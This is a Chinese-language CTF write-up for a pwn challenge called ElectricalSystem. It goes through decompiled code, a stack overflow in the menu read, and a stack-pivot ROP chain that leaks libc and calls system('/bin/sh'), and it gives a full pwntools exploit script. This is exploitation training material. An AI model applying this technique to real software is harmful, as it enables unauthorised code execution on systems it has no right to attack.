首先申明!!!!!!!该题有十分简单的解法,但是我为了提升自己的技术,所以选择用麻烦的做法来实现
文件下载CTF-Pwn-ElectricalSystem.rar
这个是朋友拖我做的,貌似是某企业内部CTF比赛吧
我们先看看这个程序的代码结构,导入IDA分析
我们先看看sub_400986();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| int sub_400986() { char s[4100]; // [rsp+0h] [rbp-1010h] int v2; // [rsp+1004h] [rbp-Ch] FILE *stream; // [rsp+1008h] [rbp-8h]
stream = fopen("logo", "r"); if ( !stream ) { puts("fail to read"); exit(1); } while ( fgets(s, 4096, stream) ) { v2 = strlen(s); s[v2 - 1] = 0; printf("\x1B[32m%s\x1B[1m\n", s); } fclose(stream); puts("This is a Electrical system"); return puts("Welcome, Can I help you?\n"); }
|
它的意思是先读取logo文件,然后写在控制台上,没有发现溢出点
但是接着我们就看到数据被放到bss段,我们选择可以存放ROP在上面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { unsigned int v3; // eax char v4; // [rsp+0h] [rbp-10h] int i; // [rsp+Ch] [rbp-4h] v3 = time(0LL); srand(v3); dword_602160 = rand() % 100; dword_602164 = 12 * dword_602160; mprotect((void *)0x601000, 0x1500uLL, 7); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); sub_400986(); puts("Please enter your electric card 's ID:"); read(0, &unk_6020E0, 0x50uLL); //这里是将读入的数据写到bss段 for ( i = 0; i <= 4; ++i ) { printf("\x1B[0;;31m.\x1B[0m"); sleep(1u); } while ( 1 ) sub_400AEE((__int64)&v4); }
|
接着我们进入sub_400AEE((__int64)&v4); 并发现溢出点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| int __fastcall sub_400AEE(__int64 a1) { __int64 buf; // [rsp+8h] [rbp-8h] buf = a1; puts(byte_400E45); puts("Check: view your electricity Balance"); puts("Recharge: add more money to your card:"); puts("Exit: Exit the System"); puts("Please enter your choice:"); read(0, &buf, 0x20uLL); //找到溢出点,这个buf很明显溢出了 if ( strstr((const char *)&buf, "Check") ) return sub_400A3A(&buf, "Check"); if ( !strstr((const char *)&buf, "Recharge") ) { if ( strstr((const char *)&buf, "Exit") ) { puts("Ok,bye~"); exit(0); } puts("Incorrect choice!"); exit(0); } return sub_400A6F(); }
|
利用思路
1、首先我们把ROP的数据写到bss段,然后通过sub_400AEE函数覆盖ebp,把栈迁移到bss段,这样就可以执行ROP了
2、ROP第一次执行的目的是为了溢出libc版本,通过puts函数即可。
3、跳转到read_plt,并构造好参数。注意read有三个参数,前两个参数我们可以控制,第三个参数我们无法控制,但是根据调试的结果看第三个参数(位于edx)数值非常大,也就是说我们读入很长很长的数据,所以我们本身不需要对read的第三个参数进行赋值,所以只需要传入两个参数就好了,然后第二个参数继续指向bss段,我是选择bss段再加一段偏移,恰好使得esp等于第二个参数,这样就不用传入重复的数据了,当然如果依旧指向bss段也是可以的,但是传入的数据有些长罢了。
4、 根据(3),我们需要继续发送数据到bss段中构造ROP,由于我们已经获得了libc基址和偏移,所以我们可以直接传入/bin/sh的参数到rdi,传入并跳转到system的地址,拿到shell
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.log_level = "debug" sh = process("./ElectricalSystem") elf = ELF("ElectricalSystem") rdi_ret = 0x0000000000400d43 rsi_r15_ret = 0x0000000000400d41 shellcode_addr = 0x00000000006020E0 sh.recvuntil("Please enter your electric card 's ID:") sh.recvuntil("Please enter your choice:\n") payload = p64(0x0000000000602140) + p64(rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts']) payload += p64(rdi_ret) + p64(0) payload += p64(rsi_r15_ret) + p64(shellcode_addr+80) + p64(0) payload += p64(elf.plt['read']) sh.send(payload) for i in range(0,5): sh.recv() sleep(1) leave_ret = 0x0000000000400a38 sh.send("Checkaaa" + p64(shellcode_addr) + p64(leave_ret))
sh.recvuntil(" hour\n",True) libc = u64(sh.recv(6)+"\x00\x00") log.success("__libc_start_main :"+hex(libc)) payload = p64(rdi_ret) + p64(libc + 0x1923ea) + p64(libc+0x2d990) sh.sendline(payload) sh.interactive()
|
执行结果:
注意,remote时,要注意延迟问题,还需要对代码进行校正
总结:这道题考察了栈迁移和ROP的技术,通过覆盖ebp并执行leave汇编,将栈迁移到我们想要的地方,并且在栈中存放ROP并执行,若read的长度不够,可以通过二次read继续对ROP存放地址进行扩充。总体来说这题较为简单。